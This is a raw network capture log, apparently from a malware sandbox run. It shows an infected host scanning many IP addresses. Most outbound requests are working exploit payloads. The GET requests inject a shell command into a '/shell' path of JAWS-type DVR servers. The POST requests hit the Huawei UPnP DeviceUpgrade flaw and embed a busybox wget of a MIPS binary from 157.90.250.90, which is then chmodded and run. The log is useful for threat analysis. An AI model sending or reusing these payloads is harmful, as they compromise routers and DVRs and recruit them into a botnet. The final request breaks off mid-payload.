Jan 2, 2024 06:25:02.298336029 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.1 Date: Tue, 02 Jan 2024 05:25:02 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
433	192.168.2.23	43154	77.46.139.244	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:02.038352013 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:02.309694052 CET	37	IN	HTTP/1.1 404 Site or Page Not Found
Jan 2, 2024 06:25:02.313224077 CET	294	IN	Data Raw: 53 65 72 76 65 72 3a 20 44 56 52 44 56 53 2d 57 65 62 73 0d 0a 44 61 74 65 3a 20 54 75 65 20 4a 61 6e 20 20 32 20 30 37 3a 32 31 3a 33 39 20 32 30 32 34 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 Data Ascii: Server: DVRDVS-WebsDate: Tue Jan 2 07:21:39 2024Pragma: no-cacheCache-Control: no-cacheContent-Type: text/html<html><head><title>Document Error: Site or Page Not Found</title></head><body><h2>Access Error: Site or Page Not Fou

Session ID	Source IP	Source Port	Destination IP	Destination Port
434	192.168.2.23	51878	77.40.58.23	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:02.046175957 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:02.324465036 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
435	192.168.2.23	38410	211.253.8.107	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:02.050528049 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:02.336431980 CET	466	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:25:02 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
436	192.168.2.23	51138	52.218.234.147	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:02.194485903 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:02.378586054 CET	636	IN	HTTP/1.1 505 HTTP Version not supported Date: Tue, 02 Jan 24 05:25:02 GMT Connection: close Transfer-Encoding: chunked x-amz-id-2: pckCgutiGfkz1pRxVxJlDn0g5jL0Olmu+Yd1cQP/FIhGmRYFXlR8fnxTst+bfQjJSvnOZ+jWj3PS/cGpShRUvN2Z7CX+zscj x-amz-request-id: 1A93DBCCBCE14A43 Content-Type: application/xml Server: AmazonS3 Data Raw: 31 33 30 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 45 72 72 6f 72 3e 3c 43 6f 64 65 3e 48 74 74 70 56 65 72 73 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 43 6f 64 65 3e 3c 4d 65 73 73 61 67 65 3e 54 68 65 20 48 54 54 50 20 76 65 72 73 69 6f 6e 20 73 70 65 63 69 66 69 65 64 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 2e 3c 2f 4d 65 73 73 61 67 65 3e 3c 52 65 71 75 65 73 74 49 64 3e 31 41 39 33 44 42 43 43 42 43 45 31 34 41 34 33 3c 2f 52 65 71 75 65 73 74 49 64 3e 3c 48 6f 73 74 49 64 3e 70 63 6b 43 67 75 74 69 47 66 6b 7a 31 70 52 78 56 78 4a 6c 44 6e 30 67 35 6a 4c 30 4f 6c 6d 75 2b 59 64 31 63 51 50 2f 46 49 68 47 6d 52 59 46 58 6c 52 38 66 6e 78 54 73 74 2b 62 66 51 6a 4a 53 76 6e 4f 5a 2b 6a 57 6a 33 50 53 2f 63 47 70 53 68 52 55 76 4e 32 5a 37 43 58 2b 7a 73 63 6a 3c 2f 48 6f 73 74 49 64 3e 3c 2f 45 72 72 6f 72 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 130<?xml version="1.0" encoding="UTF-8"?><Error><Code>HttpVersionNotSupported</Code><Message>The HTTP version specified is not supported.</Message><RequestId>1A93DBCCBCE14A43</RequestId><HostId>pckCgutiGfkz1pRxVxJlDn0g5jL0Olmu+Yd1cQP/FIhGmRYFXlR8fnxTst+bfQjJSvnOZ+jWj3PS/cGpShRUvN2Z7CX+zscj</HostId></Error>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
437	192.168.2.23	39358	146.71.50.195	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:02.224817991 CET	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 35 3a 30 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:25:01Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
438	192.168.2.23	53876	51.255.91.120	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:02.258701086 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:02.505062103 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.21.6 Date: Tue, 02 Jan 2024 05:25:02 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 31 2e 36 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.21.6</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
439	192.168.2.23	45438	52.196.15.131	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:02.277841091 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:02.544378996 CET	201	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: awselb/2.0 Date: Tue, 02 Jan 2024 05:25:02 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
440	192.168.2.23	60596	154.221.82.221	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:02.335947990 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
441	192.168.2.23	39388	146.71.50.195	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:02.567996979 CET	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 35 3a 30 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:25:02Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
442	192.168.2.23	39398	146.71.50.195	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:02.895436049 CET	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 35 3a 30 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:25:02Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
443	192.168.2.23	39412	146.71.50.195	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:03.224488020 CET	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 35 3a 30 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:25:02Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
444	192.168.2.23	59154	156.254.94.26	37215

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:03.334223032 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:04.903599977 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:06.759372950 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:10.534810066 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:17.957768917 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 